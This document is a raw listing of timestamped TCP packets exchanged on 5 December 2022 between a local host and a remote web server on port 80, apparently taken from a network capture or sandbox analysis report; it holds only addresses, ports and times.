Dec 5, 2022 06:44:31.272924900 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272938967 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.272964954 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.272970915 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273004055 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273037910 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273056030 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273075104 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273092985 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273125887 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273171902 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273190975 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273209095 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273227930 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273246050 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273263931 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273263931 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273282051 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273289919 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273300886 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273305893 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273319960 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273332119 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273339033 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273350000 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273356915 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273369074 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273374081 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273385048 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273406982 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273433924 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273443937 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273468971 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273487091 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273488998 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273507118 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273514986 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273525000 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273528099 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273544073 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273546934 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273562908 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273564100 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273581982 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273582935 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273597956 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273601055 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273621082 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273628950 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273638964 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273658991 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273677111 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273695946 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273714066 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273726940 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273732901 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273751020 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273756981 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273768902 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273777962 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273787022 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273798943 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273806095 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273817062 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273823977 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273834944 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273843050 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273852110 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273860931 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273871899 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273879051 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273891926 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273899078 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273911953 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273921013 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273926020 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273942947 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273947001 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273955107 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.273972034 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.273997068 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274023056 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274048090 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274072886 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274087906 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.274092913 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274112940 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.274163961 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.274224997 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274250031 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274287939 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.274295092 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274310112 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.274318933 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274337053 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274353981 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.274363995 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274369955 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.274384975 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.274389982 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274405003 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.274415970 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274435997 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274451971 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274470091 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274496078 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274518967 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274529934 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.274543047 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274557114 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.274568081 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274590015 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274609089 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274621964 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.274626017 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274645090 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274668932 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.274681091 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274717093 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.274780989 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274812937 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274832010 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274851084 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274869919 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274908066 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274925947 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274945974 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274966002 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.274971008 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.274985075 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275002956 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275022030 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275042057 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275059938 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275077105 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.275079966 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275109053 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.275113106 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275151968 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275155067 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.275171041 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275187969 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275208950 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275228024 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275247097 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275265932 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275284052 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275302887 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275310040 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.275320053 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275331020 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.275337934 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275357008 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275367975 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.275373936 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275392056 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275402069 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.275410891 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275429010 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275441885 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.275448084 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275465965 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275466919 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.275484085 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275502920 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275521994 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275543928 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275552988 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.275569916 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275607109 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.275619984 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275645971 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275671959 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.275713921 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.275938988 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.284224033 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.286590099 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.286652088 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.286670923 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.286670923 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.286715031 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.286736965 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.287429094 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.287447929 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.287487030 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.287511110 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.287530899 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.287548065 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.287555933 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.287584066 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.287601948 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.287616968 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.287651062 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.287658930 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.287699938 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.287740946 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.287744999 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.287763119 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.287801981 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.287832975 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.287852049 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.287887096 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.287892103 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.287906885 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.287951946 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.288392067 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.288409948 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.288425922 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.288455963 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.288500071 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.288563013 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.288567066 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.288587093 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.288604021 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.288630962 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.288657904 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.288677931 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.288696051 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.288697004 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.288714886 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.288733959 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.288736105 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.288750887 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.288775921 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.288809061 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.288827896 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.288846016 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.288856983 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.288865089 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.288883924 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.288892031 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.288928032 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.288960934 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.289226055 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.289256096 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.289266109 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.289294958 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.289330006 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.289335012 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.289349079 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.289381981 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.289386034 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.289401054 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.289418936 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.289438009 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.289570093 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.289589882 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.289607048 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.289614916 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.289624929 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.289654970 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.289726973 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.289757013 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.289774895 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.289783001 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.289807081 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.289809942 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.289824009 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.289840937 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.289861917 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.289900064 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.289917946 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.289941072 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.290066957 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.290085077 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.290107965 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.290225029 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.290262938 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.290265083 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.290791035 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.290832043 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.290958881 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.290978909 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.290997982 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.291023016 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.291048050 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.291064024 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.291080952 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.291086912 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.291121006 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.291388988 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.291440964 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.291460037 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.291477919 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.291482925 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.291495085 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.291515112 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.291527987 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.291558981 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.291565895 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.291577101 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.291613102 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.292409897 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.292431116 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.292457104 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.292481899 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.292484999 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.292522907 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.292756081 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.292800903 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.292819977 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.292838097 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.292856932 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.292860031 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.292876005 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.292877913 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.292895079 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.292918921 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.292931080 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.292953014 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.292970896 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.292975903 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.292995930 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.293015957 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.293016911 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.293056011 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.293075085 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.293097019 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.293118000 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.293134928 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.293138981 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.293159962 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.293180943 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.293186903 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.293201923 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.293224096 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.293234110 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.293243885 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.293272972 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.293811083 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.293832064 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.293854952 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.293869019 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.293876886 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.293900013 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.293901920 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.293920994 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.293941021 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.293946981 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.293962002 CET	80	49703	66.235.200.147	192.168.2.3
